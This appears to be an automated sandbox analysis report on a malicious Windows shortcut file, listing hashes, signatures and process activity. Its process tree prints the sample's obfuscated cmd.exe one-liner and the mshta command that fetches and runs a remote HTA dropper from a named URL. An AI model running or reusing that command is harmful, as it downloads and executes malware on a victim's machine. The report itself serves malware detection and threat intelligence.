Analysis
- max time kernel
148s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:08
Static task
static1
Behavioral task
behavioral1
Sample
DOC-AAW8EG.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-AAW8EG.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-AAW8EG.lnk
- Size 1KB
- Sample260803-qdcsksaa23
- SHA256 e3567c084d53185c22ef46af25bf7f37260a1f7717a89c60a4b9f78e4d4230cd
- MD5 8740ca60a99327bec0b94dfcf0574a74
- SHA1 144b19b861746abef4f6174fc36444cfe80ec925
- SHA512 f0fce3c1a5988a2ea6a113af77b2699c32266cecd51627760c6b4ffdadad4d3fd1a7a6f78caa1b4a62ab5f2058ac0bf227abce22b1e34ca1af6d51c3fe2c8927
- TLSH T1CE317B543FF90A54F3F79E7398BB571095BBB8568E60C61E0141464C6032A14E17BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1048 cmd.exe 4744 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1048 wrote to memory of 4744 1048 cmd.exe 90 PID 4744 wrote to memory of 5568 4744 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-AAW8EG.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set zr=msh&&set RluME=ta&&start "" !zr!!RluME! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:5568
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